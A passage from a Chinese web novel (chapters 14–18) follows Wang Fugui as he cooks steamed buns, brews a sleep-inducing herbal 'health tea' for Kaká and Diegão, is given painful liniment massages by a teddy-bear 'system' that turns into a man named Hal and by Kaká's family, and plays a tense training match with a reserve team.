他猛然转头看着卡卡:“你吃不出来,这饭很难吃吗?你居然全都吃完了?” “我感觉味道还不错啊。”看着两双同样震惊的眼睛,卡卡乖乖的回答道。 还是让我给你们露一手吧,王富贵把盘子端进厨房后,将剩下的黑豆饭倒进垃圾桶,灶上的砂锅咕嘟咕嘟的冒着泡。 王富贵将厨房绕了一圈,发现了一点面粉,一把蔬菜,几颗干香菇,和一个破蒸笼。 外国酒店里怎么会有华国的餐具?这念头在他的脑海里一闪而过,转头就消失不见。 虽然卡卡将酒店这一层都包了下来,但他们这些天都是在酒店里订饭,所以厨房里的菜实在是少的可怜。 就做个小笼包吧,王富贵下手很快,一会儿就将面粉变成了面团。 期间,卡卡想要阻止,毕竟王富贵现在是脆弱的病人,怎么能动手做饭。 “伤口已经处理过了,不碍事,还是你忍心看着我挨饿?”王富贵睁着大眼睛问到。 卡卡,败。 “那我要留在这里帮忙。”卡卡想了个折中的办法。 “好。”王富贵答应的很快,然后将手里的香菇干递给卡卡:“你给香菇洗一下。” “好的。” 卡卡的手指很好看,但并不包括洗香菇的时候…… “……”接过几颗破破烂烂的香菇,王富贵手起刀落将它们剁成碎末与蔬菜混合在一起。 调好味道后,又从烤箱里拿出已经发起来的面团,将它分成一个个大小相同的面剂子。 擀面杖一杆就变成一个圆片片。 卡卡:“\(^o^)/~” 然后手指翻飞间,就变成了一个个圆润的小包子。 迪甘:“w(?Д?)w” 上锅,开火,动作一气呵成。 王富贵擦了擦额头,做菜,就是如此简单。 15. 爱 卡卡默默地咽了咽口水,不可否认,那些圆滚滚的小包子,引发了他们极大地兴趣。 “还要等一会才会熟,你先出去歇一会吧。”看着卡卡松了一口气的样子,王富贵开口说道。 “你呢?”卡卡疑惑的看着王富贵奇怪他为什么还要呆在厨房里。 毕竟厨房现在的温度高的让人很难受。 “我要盯着时间,要不然熟过头就麻烦了。” 其实真是原因是他要控制药锅的火候,火候不对药效会差一大截。 “做饭这么辛苦,以后不要再做了。”卡卡看着王富贵额头的汗,认真的重复道“以后不要再这么辛苦的做饭了。” “啊?”王富贵傻傻的看着卡卡,王老爷子年纪大了,自从他的身高超过了灶台,王老爷子开始考证,两人的饭就是王富贵在掌勺了,一开始是农村的土灶,后来才换了煤气灶,王富贵的厨艺也越来越好。 这是第一次有人和他说,做饭很辛苦,以后不要做了。 “只是做饭,不辛苦的。”王富贵干巴巴解释,感觉自己的心里暖暖的。 “回到我身边后,不要再让自己这么辛苦了,以后我做饭给你吃。”卡卡揉了揉王富贵的头,发现这手感真是该死的好,早知道应该早点揉的。 王富贵脸色有些红的将卡卡退出厨房,回来后才傻傻的模仿着卡卡摸摸自己的头小声呢喃“我都十八岁了,还摸我的头,发型都被弄乱了。” 不过这就是被人关心的感觉吗?王富贵摸着自己的心脏,感觉自己被暖意包围。 比包子先好的锅里的中药,黑乎乎的汤药散发着苦苦的味道。 王富贵对着药犯了难,这东西,该怎么让卡卡喝下去呢?他能感觉到,卡卡并不希望自己或者是身边的任何人知道他现在的精神状况。 要不就说这个是配包子吃的? 不行,不行,他马上否决了这个想法,他不能自己手艺开玩笑。 就说是养生茶?自己就是经常喝才长这么壮。 而且说这是养生茶,其实也不算是撒谎不是吗? 他找了两个牛奶杯,将黑乎乎的草药汁倒进了去后才掀开蒸屉盖子,瞬间一股霸道的香味充满了整个厨房。 王富贵吸了吸鼻子,露出一个笑,那熟悉的香味让他明白,就算是这几个月没做饭,他的手艺也没有退步。 等他把包子端出去,就看见了还坐在沙发上的迪甘。 “你怎么还在这?”他端着包子的手紧了紧,他这些包子可不够分给三个人。 “你不是说要露一手?”迪甘用看傻子的表情看着王富贵,摆明了是要虎口夺食。 “你吃过饭了还凑什么热闹。”王富贵早就发现了,虽然迪甘长着一张正经的脸,但性格十分恶劣,经常捉弄自己。 “谁说吃过饭了就不能再吃?”迪甘看着王富贵警惕的样子,脸上的笑容更大了,天知道他的这个小侄子怎么会这么有趣。 王富贵把盆子抱的更紧:“我做的,不给你吃。” “哦?那我可要伤心了。”迪甘拿起手机,卡通内裤的一角从屏幕中一闪而过。 “我这里可是有某位十八岁青年还穿卡通内裤的照片哦,要是不想……” 他的话还没说完,就被热腾腾的包子堵住了嘴巴。 “吃,谁说不给你吃的,我就是专门给你做的。”王富贵嘴上说着,还不放心的弯下腰小声威胁:“吃完了赶紧把照片删了。” 迪甘笑的像是狐狸,缓缓伸出了三根手指:“那我要吃三个。” “可以。”王富贵咬牙切齿的回道。 他发誓,今日的仇,他来日一定要报复回去。 卡卡在沙发的另一侧躺的迷迷糊糊,本来已经困的发懵的脑子突然被一阵香气唤醒。 “熟了吗?”他有些迷糊的问完,嘴里就被塞了一个圆滚滚的的东西。 他嚼了两口后,大脑彻底被食物唤醒,在睁开亮晶晶的眼睛后,手里又被塞了两个包子。 “卡卡,快吃。”王富贵一边叮嘱,手上的动作不停的朝着自己嘴里塞。 “这是怎么了?”卡卡从沙发上挺起身体,就看见以斯帖和萨拉正眼巴巴的看着自己,呃,自己手里的包子? 看见卡卡醒来,她们欢呼着跑了过来,嘴里还喊道:“papa,你们在吃什么啊,好香啊。” 卡卡先是把包子递给王富贵,然后接住了两个扑过来的小姑娘,顺手摸摸她们鼓鼓的肚子。 鉴定完毕,饱饱的,哪怕再吃一口,晚上就会被撑的睡不着的程度。 “是papa的饭,papa和哥哥出去踢球今天还没有吃饭哦。” “哥哥?”两人的小脑袋同时抬起,看着王富贵过了一会后,又都低头开始翻自己的口袋,一会后,两个小手同时伸过来,掌心上是两颗皱巴巴的水果软糖。 “哥哥,给你吃。” 萨沙刚开始换牙,她看着糖果的神色充满了不舍。 两个女孩在卡卡身边长大,卡卡真的把两个人教的很好。 “吃吧。”卡卡笑着说:“她们很喜欢分享。” 王富贵感觉自己心脏涩涩的,具体是因为什么又说不上来。 明明被分了糖,为什么他却不想把包子分出去? 送了糖,两个小丫头就哒哒哒的跑远了。 三个大男人,一会就将包子消灭的干干净净,然后王富贵拿出了两杯污黑的水。 “这是什么?”迪甘皱着眉问到,天啊,这么远的距离,他都已经闻到那刺鼻的味道了。 “养生水。”王富贵对甘迪的不识货感到很不满意。 “这是我专门给卡卡准备的,又没有你的份。” 卡卡听到这是给专门给自己准备的,脸色一白,他真的不喜欢喝苦东西啊,他平常喝果汁都恨不得加两勺糖。 可是,这是富贵专门给自己准备的,这是孩子的心意,要是拒绝的话,孩子一定会很伤心。 所以卡卡决定不管多难喝,他也要喝的干干净净。 卡卡端起杯子,仰头,咕噜咕噜,一饮而尽。 然 后身体一软,倒头就睡。 “你那不是有两杯,另一杯呢?”甘迪不死心,虽然他不想喝,看着就很难喝的水。 但是,没有和不想喝是两码事。 “那是我的。” 看着睡过去的卡卡,王富贵心里充满了自豪,不愧是自己亲手煮的药,见效就是快。 迪甘也是吓了一跳,赶紧跑到卡卡跟前,发现他只是睡着了,还好还好,不是被药死了,他拍了拍自己狂跳不止的心脏。 既然这养生水效果这么好,那他更是势在必得,天知道他这几天被卡卡骚扰的严重失眠。 “孩子,你要学会尊老爱幼。” 王富贵看着黑黑的药汤,实在是不明白,怎么会有人抢着喝药。 既然如此就让给他好了,反正自己也要找他帮忙:“帮我个忙,水就给你。” 他想到了那件被自己穿坏的球服,赶紧将它从包里取出来,递到迪甘面前问到:“这件球衣,今天被我穿坏了,你知道哪里能再买一件一模一样的吗?” “这件球衣”迪甘脸色复杂看着那件白色的球衣。 思考半响后才回答:“这件衣服不是卡卡的,是他以前队友的,衣服不贵重,贵重的是那份签名。” “哦。”王富贵沮丧的看着球衣,上面的名字已经被汗水津的有些模糊,他也没想到,这件衣服还是绝版货。 “或许你将来见到那个人,可以帮卡卡再要一份签名,我想卡卡见到那个应该会很高兴。” 迪甘说完拿起水,直接闷头干了,水划过咽喉的那一刻,他就后悔了,这是个什么东西,怎么这么难喝,他看着躺在沙发上的卡卡在心里忍不住喊道:“哥,你又坑我。” 那这件事就这能等以后在说了,王富贵将球衣叠小心翼翼的起来,就看见迪甘已经在沙发上睡着了。 王富贵:“……”真羡慕,年纪这么大了,还有这么好的睡眠质量。 他一屁股坐到沙发上,全身的疲惫在这一刻如潮水般涌了上来。 但实在是睡不着,他把注意力转移到伤口上,看着大腿上的青紫,叹了口气,这两条腿跟着自己也是遭了老罪了,这一天净被踢了。 看着在一旁睡的安稳的卡卡,卡卡的提议其实他很心动,但是他真的要当职业足球运动员吗?他的身份本就尴尬,一个母不详的私生子。 要一直在人家正牌妻子跟前碍眼吗? 可是,虽然说着离开离开的,但是他真的很喜欢呆在卡卡身边啊,只要在卡卡身边,他就能感到卡卡对他的爱,那爱围绕在他的身边,让他感到温暖。 他叹了口气,感觉自己今天晚上是睡不着了。 或许他需要一个人静静地想一想。 给沙发上的两人盖好被子,王富贵才回到自己的房间里。 就看见抱着臂,正一脸严肃的看着自己的泰迪熊。 泰迪熊那无机制的塑料眼睛吓的他一个趔趄,差点让他的屁股受到二次伤害。 “你怎么也不出声?吓了我一跳。”王富贵没好气的抱怨道。 16.第 16 章 泰迪熊从床上跳下来,他回来没有出声,本来是因为心虚,王富贵让他查卡卡的事,他本以为会很容易,谁知道,根本查不到,卡卡的事情就像是被人给抹掉一般,只剩下了零零散散的东西。 既然查不到什么,留在那里也没有什么必要。 比起空旷精致但寒冷的总部,当然是呆在王富贵身边更快活。 所以他就灰溜溜的回来了。 本来以为一定会被笑的泰迪熊在看到王富贵那青紫的胳膊腿,彻底怒了。 他撸了撸并不存在的袖子,大喊道:“那个缺德的把你给打成这样,告诉我,我现在就去给你报仇。” “是不是你那后妈?就她最近成天斜着眼睛看你,你说你也是,连她你都打不过?你扎她啊?” “停停停。”王富贵打断了泰迪熊的盲目猜测,在让他猜下去,一会儿他连西蒙妮都不会放过。。 “没有人打我。” “那你身上的伤怎么来的?” “踢球踢的。” 泰迪熊这才想起来,昨天晚上,王富贵确实说过,今天会去踢球。 “那你改名了?”泰迪熊疑惑的问道。 “啊?”王富贵没有显然没有跟上泰迪熊的脑回路,怎么从踢球扯到名字上。 “你没改名叫球,怎么能被人踢成这样?” “这个冷笑话一点也不好笑。”王富贵翻了个白眼,他本来想要一个人静静的,现在看来是不能了。 他伸个懒腰,躺到床上,看着头顶的水晶灯,平时光线柔和的水晶灯,此刻的灯光晃得他眼眶发酸。 让他不自觉的捏紧了口袋里那两颗皱巴巴的糖果。 “你不能就这么睡。”泰迪熊蹦到王富贵身上,显然是怕他就这么睡着。 “我洗完澡了。”王富贵不解的看着泰迪熊。 “什么洗不洗澡的,我是说你还没上药呢?就这么睡,明天会更严重的。” “不会,我恢复力很好。”王富贵用被子盖住头,声音从被子里传出来:“而且我没有药。” 那些医护人员是给他喷了药的,只不过在洗澡的时候被他洗掉了。 “我这有药。”泰迪熊从口袋里翻了半天,终于从口袋里翻出一个玻璃瓶,“找到了,还好没丢。” 王富贵从被子里抬眼一看,就看见一个熟悉的瓶子“这不是我家治跌打损伤的药油吗?”他记得他明明都卖了,怎么泰迪熊这里还有? “药效太好了,我就买了几瓶,现在不就派上用场了。”泰迪熊隐藏了他本来准备卖给其他系统赚差价这件事。 “可我今天太累,不想搽药。” 王富贵又把头缩回被子里,然后被子被掀开,一只毛茸茸的小熊站在他的脸前,叉着腰说道:“你睡你的,剩下的交给我来。” 王富贵觉得自己像是一条躺在粘板上的鱼,但是经过了一天的运动,他实在是困的眼皮都在打架,算了,就让这只熊自己折腾去吧。 泰迪熊把药油倒在自己毛茸茸的爪子上,油立刻被爪子上的毛毛吸收。 泰迪熊:“……” 他这才想起自己现在只是一具布做的玩偶。 这可咋子整? 看来这有那一个办法了。 王富贵趴在床上,在药油的味道里慢慢闭上了眼睛。 然后猛的睁开眼睛,他身上的触感不对劲,不是毛茸茸的爪子,而是一双真正的人手!!! 大手狠狠地掐过他的大腿,疼的他脸部的表情有一瞬间的扭曲。 王富贵猛地翻身而起,一个剪刀脚将人猛的剪翻到床上后,还不忘朝着那人脸上补上两脚。 “嗷。”床下传来哀嚎:“王富贵你干啥?” 声音十分的耳熟。 王富贵这才看向床下,真的是个人,金发蓝眼,脸被手捂得严严实实看不清脸。 地上的人捂着鼻子,鲜血从指缝间滴下。 按照他的脚力,就算踹到铁板上,都能给铁板踹出个窝,现在这个人应该是没有还手的机会了。 “你是谁?” “王富贵,啊,你把我鼻梁踹断了,现在还问我是谁?我和你说这事没完,你就算道歉,我都不会原谅你的。” 声音更耳熟了,但王富贵十分确定自己绝对没见过眼前的人,不过他心里有个十分大胆的猜想。 “你是小熊?”王富贵不确定的问到。 “刚才还说不认识,现在就认识了?说,是不是报复第一次见面我打你脸,才踹的我?” “误会,我哪知道你还会变身。”王富贵感觉自己很冤枉,谁让这只熊非得在自己面前表演大变活人,还不和自己提前打招呼。 “我那不是为了给你抹药吗?玩具熊怎么抹药啊?” 王富贵:“……”我还以为是掐我大腿呢,原来是抹药? “你从来没有说过你是个人,还是个外国的,我一个黄花大闺男,房间里出现个陌生人,我能不害怕吗?”王富贵下床搀起跪在地上的人。 “松手,让我看看鼻子怎么样了?”他将男人的手从脸上拽开,本来以为会看见塌成一片的鼻子,怎料到那鼻子还好端端的长在脸上,除了流点鼻血,整张脸白净的不像话,他在心里松了口气。 然后他低头看向自己的腿?第一次对自己的腿力产生怀疑?难道刚才那一脚没踢实? “是不是毁容了?我现在感觉浑身疼。”男人还在喋喋不休的抱怨。 王富贵拽着男人向浴室走去,嘴里敷衍道:“没事,你的脸好好的,一个大男人哭哭啼啼的像什么样子。”他现在一手鼻血,觉意被吓跑了大半,怨气赶得上十个邪剑仙。 现在最重要的是赶紧给男人止血,他好睡觉。 “我流了这么多血,你竟然还说我不像男人……” “好了,别哭了,血止住了,脸还好好的,要不你看看,要是你真的毁容了,我把我的脸赔给你。”王富贵站在镜子前,给男人洗去脸上的血后打了个哈欠,明明刚才还失眠,怎么现在困得很? 仔细看,男人长的也不赖,就是那双蓝色的眼睛,实在太过于澄澈,让人无端产生一种距离感。 “我才不要你的脸,你不是故意的,想要骂我二皮脸。” “……” 我累个超绝敏感肌啊。 “没有,绝对没有,我发誓,误伤你的事我也道歉,我的错,都是我的错。”王富贵随便哄两句,,按照经验系统吃软不吃硬,就喜欢别人夸它,王富贵这两句,直接把男人哄成翘嘴。 男人看着镜子里的自己的脸,摸了摸自己挺俏的鼻子,又听到了王富贵的道歉后才露出笑容。 “算了,原谅你,其实我也有错,本来是想和你说一声的,但是看你睡的很沉,我就……” 真是贤惠的让人自惭形秽。 “你看我的脸,是不是很完美?我可是系统选美大赛的第一名。”男人捧着自己的脸,对着王富贵眨眼睛,好可怕的世界,连系统都有选美了? “美,你最美, 美死了。”王富贵虽然对外国脸感到脸盲,但面对自己朋友还是十分捧场。 “还是你有品位,不过是完美,不是美,是帅。”男人显然很高兴,他看着王富贵继续说道:“我的名字是哈尔·埃利奥特,你可以叫我哈尔。” “还是个外国名。”王富贵叹气,不过想想也觉得正常,本来就是外国人,不,外国统,起个洋名怎么了。 外头天已经黑了,王富贵看着男人的大个子犯了难:“还能变回去吗?” “No”变都变了,他才不要再变回去。 “那,你也没事了,现在,”王富贵打量着哈尔那一米八的大个子继续说道:“现在你都变成人了,要不你就回家睡吧,要不明天卡卡见到你,我也解释不清楚。” “你要赶我走?”哈尔撇着嘴,满脸的的不可置信,自己不仅没有得到想要的赞美和感激,王富贵现在还要赶自己走,这个见爹忘友的家伙。 王富贵无辜的摊手:“你在这里没地方睡。” “那老大一张床,睡不下两个人吗?咱们以前都是睡一张床的。” 听见这话,王富贵表情一阵扭曲,经过卡卡昨天那两脚,他只想一个人睡。 “你也说是以前,你以前只是一只玩偶熊,现在一米八大高个,能一样吗?” “所以说到底,你就是嫌弃我?你爸爸比我还高,你为什么不嫌弃他高?” 见说不过他,王富贵索性直接躺到床上,同时摊开双手双脚:“你想睡这里也行,不过只能睡旁边的沙发上,床上没有位置。” “睡沙发就睡沙发。”只要能睡在这里,哈尔就感很好了,反正在他当玩偶的日子,只要到后半夜都会被王富贵一脚窝下床,睡地板的。 “那我现在睡觉,你别打扰我。” 看着王富贵马上睡着,哈尔却没忘记正事,他这个样子出现是为了什么,那一脚怎么能可不能白挨。 “药还没抹完。” “明天再说吧。” “那怎么能行,你睡你的我继续给你抹。” 王富贵猛的睁开眼睛,睡意吓醒了大半,看着哈尔那双手,又看向刚才抹过药的地方,那个地方明显紫的吓人。 不是,哥们,你那手劲我承受不来啊。 今天他要是让哈尔给他搽药,本来过两天能好,他或许都看不见明天的太阳。 “要不,还是我自己来?” “你这么累了,放着我来就行。” 哈尔将王富贵按趴在床上,然后将药油倒在手上,他可是做过功课,油必须揉进肉里,药效才能更好,还好他有是劲,王富贵命真好,有他这样一个好朋友。 ”嗷“王富贵一口咬在被子上,疼的双眼飙泪。 他感觉半空中王老头正慈祥的冲他招手,王老头来接他了? 搽完大腿,哈尔掀开王富贵的浴袍,看到了他屁股上的那俩雷霆大脚印和卡通内裤,差点笑出猪叫。 王富贵:“……” “这小可怜,屁股都给踹肿了。” 王富贵拽着睡袍的一角,奋力阻止,却被轻轻扯开,他就知道,睡衣能生存到现在肯定是有他的道理,他恨睡袍。 “兄弟,我感觉咱俩有点暧昧了。” “错觉,全都是你的错觉,你睡你的觉,不要打扰我。”哈尔已经完全沉浸在自己的搽药艺术里,完全无视手底下挣扎的人。 王富贵趴在床上,感觉像是被大象踩过一般,呜呜呜,为了这段友情,他真的付出太多。 17.肥嘟嘟的爱 经过了哈尔的友情治疗,王富贵觉得自己全身火辣辣。 “……”朋友都是债,朋友都是债,王富贵在心里安慰自己。 他躺在床上,感觉浑身疼。 “咚咚咚。”门外传来一阵敲门声。 不是,谁这么晚来敲门啊? 哈尔手里拿着药瓶,站起身就想去开门,却被王富贵一把拉住。 他还没想好怎么和卡卡他们介绍哈尔呢,毕竟自己从小就是在华国长大的,这些天也只和卡卡一起出去过,根本没时间认识什么外国人。 “你想去干什么?”王富贵小声质问道。 “我去开门,你受伤了,躺在床上就好。” “开什么开,现在立马去厕所躲着。”王富贵将哈尔推进厕所,在离开时小声威胁道:“要是敢出声,你就死定了。”后反锁上了厕所门。 他将睡袍穿好,才走到门边打开门,门口站着的人出乎他的意料。 “卡卡,你怎么来了?”王富贵诧异的问道,他其实更想问的是“你不是睡了吗,怎么醒了?就算是醒了也应该去踹,不去找卡特琳娜,来找我干什么?” 卡卡晃了晃手里拿着的药瓶,开口:“我记得你还没上药,这是我以前踢球的时候常用的药,消肿的效果非常好。”他不想让王富贵知道自己不是睡着了,是被他准备的养生水给苦晕了。 他不想让孩子觉得自己是一个吃不了苦的爸爸。 “……” “我已经自己搽过药了。”王富贵开口想要拒绝。 “你自己已经搽过了?”卡卡清扫过王富贵的双腿,发现比刚回到家得时候肿了一圈? “?-?”卡卡 “你这药是不是不太管事?不看你的腿都圆了一圈?” “不,药很管事,窝……” 话还没说完,卡卡已经从缝里挤了进来。 王富贵“……真是为难你这一米八的大个子了” 看出卡卡想要给他搽药的决心,王富贵视死如归的张开双臂,迅雷不及掩耳的给自己的睡袍打了个死结。 同样的错误,他可不会再犯。 “我会很轻很轻,一点都不会疼的,就想被蚊子咬一样。”看出王富贵的紧张,卡卡打趣道。 王富贵看着卡卡宽厚修长的手,那手上布满青筋,一看就非常有力量。 “我读书少,你可别驴我。”王富贵在心里默默想到。 然后他就发现,卡卡真的在驴他。 “他爹的,好疼。”王富贵趴在床上,心如死灰,卡卡和哈尔是从一个地方学的搽药吧,庸医害人。 这不仅外国的月亮比华国的圆,外国的蚊子也比华国的蚊子咬人疼是咋的啊? “你这腿肿了,想要消肿,必须把药揉进肉里。”卡卡感受着手下紧绷的肌肉,无奈的开口,“你身体蹦的太紧了。” 哪个人,到底是哪个庸医这么告诉你的?我以后要是见到这个庸医,一定去上去抽他两巴掌。 王富贵努力放松身体,他这次是真的张记性了,以后绝对不会把自己弄得这么狼狈。 “其实,这是我第二次给被人上药呢!”卡卡说道,似乎是想到什么有趣的事,他的语气里都带着轻快:“那个时候他还夸我手艺好,如果不踢球,当医生也天赋出众,后来我后还去拍了个电视剧,体验了下当医生的感觉。” “我,也,感觉,你,挺好的。”王富贵艰难的行嘴里蹦出一句夸奖。 卡卡年轻的时候,手劲应该更大吧?怎么没把上一个满嘴谎话的大兄弟给揉死呢。 搽完药,卡卡看着紧闭双眼的王富贵,还以为他睡着了,他轻手轻脚的给王富贵盖上被子后顺手关了床头灯,弯腰在王富贵的额头上轻轻烙下一吻“我亲爱的孩子,愿主保佑你有个好梦”。 卡卡走后,富贵才敢睁开眼睛,看着自己被揉捏的肥嘟嘟的身体,现在他感觉真的是大事不妙。 上天保佑,他还能活着见到明天的太阳。 然后,熟悉的敲门声响起。 王富贵:“……”不想开门,要不世界还是毁灭吧。 下一秒,一道女声在门外响起。 “孩子,你睡了吗?”是西蒙妮的声音。 王富贵任命的起身开门,站起身的时候,他感觉两条腿都在打晃。 开门后,王富贵看见西蒙妮手里拿着一个熟悉的瓶子,似乎是和卡卡拿的一模一样? “奶奶,您来……” “怎么伤的这么严重?”西蒙妮的语气都带上了哽咽:“我记得回来的时候,还没这么严重?是不是有什么暗伤,要不然在让医生来看看?” “……” “不用了,我只是皮肤比较敏感。” 看出王富贵似乎对医生比较反感,西蒙妮退而求其次的问到:“那,我能给你搽药吗?这药是卡卡以前用过的,他说过效果非常好。” 对于这个慈祥的老人,王富贵实在说不出拒绝的话。 感受着熟悉的痛感,王富贵在心里感慨,真不愧是亲母子,手劲都是一模一样。 送走西蒙妮,王富贵直接将门锁死,他决定外面就算是玉皇大帝,他也不会开这个门。 果然在他刚躺下不一会,又有人来敲门了。 不,这是组团把他当boss来刷,完全不顾他的死活啊。 不过,他是不会开门的。 门外的人格外的有耐心,都五分钟了,还在外面敲,弄得他根本睡不着。 王富贵将盖在头上的被子掀开,想要下床,然后啪叽摔在地上。 没办法,他只能爬到门口去开门,该死的,开门后他一定要让门外的人好看。 然后,他看见迪甘站在门口,手里还拿着熟悉的装备。 王富贵:“……”什么仇什么怨,让您几个组团来刷我。 迪甘显然也被地上的一团吓了一跳,仔细观察后发现在地上蛄蛹的是王富贵。 迪甘“……” 这是在cos蚯蚓侠? “别说你也是来给我上药的?”王富贵扶着门才勉强站起身。 “也?”迪甘秒懂,“卡卡刚才来过?” 想到卡卡的手劲,迪甘的额头冒出一丝冷汗。 卡卡这是把富贵捏瘫了? “我没事,这件事,你不许告诉他们。”王富贵有些恼羞成怒,他也不明 白自己怎么会干这么蠢的事,怎么会答应三个人,给自己都给自己上药,真是疼死了。 “也不许笑。” “好好好,我不笑了。” 回应迪甘的是哐的一声关上的房门。 第二天,王富贵不出所料的病了,疼的在床上起不来。 卡卡很难过,西蒙妮也很难过,迪甘有些幸灾乐祸,因为大夫给出的结论是上火导致的智齿发炎。 “……”王富贵捂着牙,真的被气的牙疼。 庸医,全都是庸医,他恨庸医。 在球场上等了一天的马捷理在得知王富贵病了后,还专门打电话过来慰问,在电话里幸灾乐祸的表示,他爸也病了,上火导致的牙龈红肿。 本来马捷理是想亲自来看王富贵的,结果他爸病了没法来,还不让马捷理来,所以马捷理才打的电话。 “哈哈,我爸以为你病了是被他踢得,他多爱面子啊,这要是让别人知道,肯定会说他们以老欺幼,现在躲在家里都不敢出门了,哈哈哈。” 多亏了王富贵身体好,肿的肥嘟嘟的身体在第二天早上就已经消肿,才拯救了酒店里日渐消沉的氛围。 “卡卡,一起去踢球吧!”王富贵心情很好,这两天他只能躺在床上,感觉身上都要起蘑菇了,他现在无比怀念户外的太阳和新鲜空气。 “好。”卡卡端起杯子,将里面的养生水喝了个干净,这次他没有再晕,只是被苦的皱紧了眉头。 就算是生病这两天,王富贵也没忘给卡卡煮养生水的行为,使得卡卡即使在不情愿,也不能偷偷将水倒了。 因为西蒙妮会一直站在他身后,看着他把东西喝的干干净净。 ……卡卡心里苦,嘴里更苦,但卡卡说不出口。 马捷理前几天就开始邀请王富贵一起来奥兰多二线队训练,说是他爸专门给王富贵的补偿。 “人老了就是爱面子,不敢自己来,非得让我来传话,我就不要面子的吗?”马捷理看着生龙活虎的王富贵,松了一口气,嘴里还不忘吐槽他老爸。 “……”王富贵,你可真是你爸的好大儿。 “二线队?”就连卡卡也很震惊。 这次王富贵没有拒绝,他只是仗着有一副好身体,并没有精湛的技术,去专业的队伍里磨炼,正是他现在需要的。 “嘿,伙计,现在咱们两个是队友了。”马捷理在看到王富贵后很兴奋,他爸病好了之后,竟然把他从一线队发配到二线队,不就是仗着自己是教练。 他就是要让他爸明白,就算是在二线队,他也能闯出名堂,到时候,他爸不道歉,他是不会回去的。 这是王富贵第一次训练,卡卡坐在观众席上,拿出手机,看着手机里自由奔跑的男孩,卡卡感觉眼睛酸酸。 王富贵在二队,身高不是最高的,体型也不是最壮的,但是他的球风却十分暴力,甚至暴力到分华丽的地步,这次他踢的是前锋,马捷理是第一次尝试门将。 这些队友,也是第一次见面,二线队员,基本上都是青训队上来的,彼此都相当熟悉,在得知王富贵这个空降人员时,自然都是不服气,甚至商量好,要给这个关系户一个下马威。 18.到底是谁 看台上的卡卡在第一时间就发现了王富贵这边的情况,他轻皱眉头,但也明白这种情况是不可避免的,必须要王富贵自己解决才行,足球运动并不是一个人的逞强斗勇,而是要团队协作的团体运动。 而成为足球远动员的第一课,就是如何让你的队友接受你。 王富贵跟着球,在球场上来回跑动寻找机会,但是,他发现他的队友们都在有意识避开自己,就算他跑到队友身边,也会被无视。 炎热的天气让他的脸上布满了汗水,也让他的心情越发急躁。 一线队很快就进球。 但他明白,现在发火根本不会有任何作用,毕竟,只有强者,才配被人尊重,他决定既然没人不给他传球,那他就直接去对手那里抢。 开赛的20分钟,王富贵跑到中场,一个虚晃就将面前人脚下的球截了下来,然后瞬间启动,带着球向着球门跑去。 米尔恩·帕克傻傻的看着自己前面空空的草地,又转头看见了王富贵的脸,恨的咬牙切齿,这种脸长得帅的小白脸,都不是好东西。 他想着刚把自己甩了的女朋友,就感到一阵心塞,要不是那个小白脸,莉莉怎么会离开自己,要知道,自己和莉莉可是青梅竹马。 那个小白脸抢自己的女朋友,现在球场上的这个小白脸抢自己的球,果然,世界上的小白脸都应该去死。 米尔恩大步跟上了王富贵的脚步,然后他发现自己根本就追不上王富贵。 “该死的,跑的这么快,怎么不去长跑,在这里踢什么球。”米尔恩狠狠盯着前面的背影,心里的念头越来越强烈。 铲他,铲飞他,铲断他的腿。 米尔恩向着自己的队友使了一个眼色,队友秒懂了他的意思,两道人影向着王富贵逼来,使得王富贵王富贵不得不改变方向。 就是现在 米尔恩对着王富贵就是一个飞铲,他目标不是球,而是他王富贵的大腿,看台上的所有人都能看出来,这一击的力量大得很,如果真的铲道王富贵的腿,骨折也是有可能。 教练组和队医同时皱起了眉头。 就连座位上的卡卡都被惊得起了身。 王富贵这个当事人却没有半点惊慌,毕竟,眼前这个外国人的动作在他眼睛简直慢的过分,他将球向着左前方一踢,前脚向上轻轻一跃,就如同林间小鹿般从米尔恩双腿之上跳了过去。 这就躲过去了?他是怎么反应过来的? 每个人脸上都带着不可置信,就连米尔恩也蒙了,他的速度这么快,那个小白脸怎么可能躲得过去?巧合,一定是巧合。 王富贵躲了过去,跟在他身后的摸鱼的布朗宁·纽曼就没有这么幸运了,米尔恩滑倒后速度并没有减慢,而是直接对着布朗宁·纽曼的双腿冲了过去。 布朗宁·纽曼“……”,我连球都没有,你为啥铲我? “啊,好疼啊。”下一瞬间,布朗宁就已经抱着脚腕开始哀嚎,他的脚是不是断了,不然怎么会这么疼? 就连铲人的米尔恩都傻了眼,兄弟?你从哪冒出来的? 惨烈的叫声就连已经跑到前场的王富贵都听到了,他向后看了一眼,然后认出了抱着腿的应该是自己的队友。 裁判观察过后,只是给了铲人的米尔恩一张黄牌,连点球都没罚。 “……” 布朗宁的脚腕在这短短的几十秒就已经变得青紫,不过应该没骨折,只是错位,脫臼了。 裁判注意到布朗宁的情况,向着这边走来,想要查看他的情况。 布朗宁挣扎着站起身,对着裁判摇头示意自己没事还能比赛,他不想下场,想要继续比赛,所有人都明白,这不是一场普通的训练赛。 马捷理被退货,一线队就空出了一个名额,这个时候比赛,意思不言而喻,这场比赛就是为了选拔,所有人都在猜这或许是想要个那个叫王富贵的关系户腾位置。 他们一开始的针对,也有为马捷理鸣不平的意思。 布朗宁知道,这是自己唯一一次进一线队的机会。 王富贵并没有被布朗宁影响,他带球飞速连过两人,看着近在咫尺的球门,直接抬脚抽射,球在空中旋转两下,直直向着球门右上角飞去。 门将看着球赶紧跳起,想要将球拦下来,只可惜还是晚了一步,球擦着门将的手套飞进了球网。 球进了。 整个球场都安静了,只有看台上的卡卡拿着相机咔咔的拍个不停,这是王富贵第一次进球,他要将照片洗出来,放在自己床头好好欣赏。 进球后的王富贵并没有庆祝,而是来到了布朗宁身边,观察着他肿起来的脚腕。 “你受伤了,已经没办法在坚持比赛了。” 布朗宁有些窘迫的摇摇头,他没有想到这个被他们认定为关系户的人会这么强。 “我,还能坚持,我不想退场,而且二线队没有替补,我们本来就和一线队实力差距很大,少一个人的话,会输的……”说到这里他反应过来,眼前这个人,没有依靠一个队友的帮助,刚刚在对方所有人的拦截下,进了一个球。 “对不起。”布朗宁感受着脚腕的剧痛,忍不住抽泣道:“我们不应该,想要孤立你,不给你传球,你一定是球队培养的秘密武器,我们还这么对你。” “……”王富贵。 小伙子,想象力挺丰富啊。 他将布朗宁拉到草地上,自己也蹲下身握住布朗宁的脚腕,头也不抬的说道:“有点疼,忍住别叫。” “why?呜呜呜。” 话音刚落,布朗宁的脚腕就发出“咔吧”一声,布朗宁本就苍白的脸上冒出一层细密的汗珠,为了避免叫出声,他的牙齿在嘴唇上留下一排深深的齿痕。 